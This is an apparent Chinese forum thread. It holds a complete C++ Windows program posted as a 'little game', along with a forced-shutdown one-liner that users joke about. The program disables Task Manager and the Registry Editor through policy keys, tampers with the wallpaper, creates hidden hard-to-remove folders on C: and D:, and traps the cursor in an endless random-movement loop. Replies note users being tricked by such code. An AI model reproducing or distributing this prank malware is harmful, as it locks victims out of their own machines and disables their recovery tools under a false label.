和标题没关系
可能是品目不一样
system(“shutdown -s -t 0”); 看到这个就知道要关机
addd,我这个小蒟蒻都知道
被骗多次
#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
#include <cstring>
#include <time.h>
#include <string>
void SetImmunity(char *FilePath,char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
BOOL bRet = CreateDirectory(file, NULL);
if (bRet)
{
strcat(file, "\\anti...\\");
bRet = CreateDirectory(file, NULL);
if (bRet)
{
SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
}
}
}
void RegTaskmanagerForbidden()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
}
void RegEditForbidden()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
}
void RegModifyBackroud()
{
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
}
void mouse()
{
srand (time(0));
int x,y;
while(1)
{
x=rand()%1000+300;
y=rand()%600+300;
SetCursorPos(x,y);
}
}
int main(int argc, char * argv[])
{
RegTaskmanagerForbidden();
RegEditForbidden();
RegModifyBackroud();
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
SetImmunity("d://", "Chairria Katie");//到此一游,仅此而已
SetImmunity("c://", "Chairria Katie");//到此一游,仅此而已
mouse();
return 0;
}
这个代码怎么了
小游戏
1 个赞
我就不试
6的,没上当
1 个赞
被骗多次
呵呵
1 个赞
不聊了
下了下了
1 个赞
明天再见
ok
1 个赞
就下了?
不然呢
不香,那么多时间去记一个函数干嘛
也是,有一些基本上用不着